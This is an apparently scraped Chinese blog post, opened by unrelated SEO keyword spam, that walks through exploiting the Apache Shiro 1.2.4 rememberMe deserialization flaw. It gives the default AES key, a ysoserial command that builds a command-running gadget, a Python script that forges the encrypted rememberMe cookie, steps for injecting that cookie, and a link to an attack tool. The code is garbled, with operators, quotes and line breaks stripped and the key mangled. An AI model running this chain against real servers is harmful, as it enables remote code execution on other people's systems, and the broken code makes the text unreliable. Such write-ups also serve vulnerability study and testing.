河北省建设集团有限公司网站,镇江网站建设找思创,微商城开发费用多少,网站建设赚钱一、漏洞特征 Apache Shiro是一款开源强大且易用的Java安全框架#xff0c;提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用#xff0c;同时也能提供健壮的安全性。 因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题 在 1.2.4 版本前, 加…一、漏洞特征 Apache Shiro是一款开源强大且易用的Java安全框架提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用同时也能提供健壮的安全性。 因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题 在 1.2.4 版本前, 加密的用户信息序列化后存储在名为remember-me的Cookie中而且是默认ASE秘钥,Key: kPHbIxk5D2deZiIxcaaaA,可攻击者可以使用Shiro的默认密钥伪造用户Cookie触发Java反序列化漏洞进而在目标机器上执行任意命令。 而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透 总结一句话ASE秘钥不能使用已知的外部秘钥不能泄露秘钥。
影响版本Apache Shiro 1.2.4 漏洞特征 shiro反序列化的特征在返回包的 Set-Cookie 中存在 rememberMedeleteMe 字段 进入后可以看到有remenber me的登录首页
二、漏洞复现 1.登录抓包拦截 同时勾选remenber me
2.生成ser文件 使用ysoserial生成CommonsBeanutils1的Gadget java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 “touch /tmp/succ123” poc.ser
3.使用poc生成payload
import sys
import uuid
import base64
from Crypto.Cipher import AESdef encode_rememberme():f open(poc.ser,rb)BS AES.block_sizepad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key base64.b64decode(kPHbIxk5D2deZiIxcaaaA)iv uuid.uuid4().bytesencryptor AES.new(key, AES.MODE_CBC, iv)file_body pad(f.read())base64_ciphertext base64.b64encode(iv encryptor.encrypt(file_body))return base64_ciphertextif __name__ __main__:payload encode_rememberme()
print(rememberMe{0}.format(payload.decode()))4.将生成的payload替换到请求包cookie中
5.进入搭建靶机的机器查看生成文件
三、工具利用 https://github.com/SummerSec/ShiroAttack2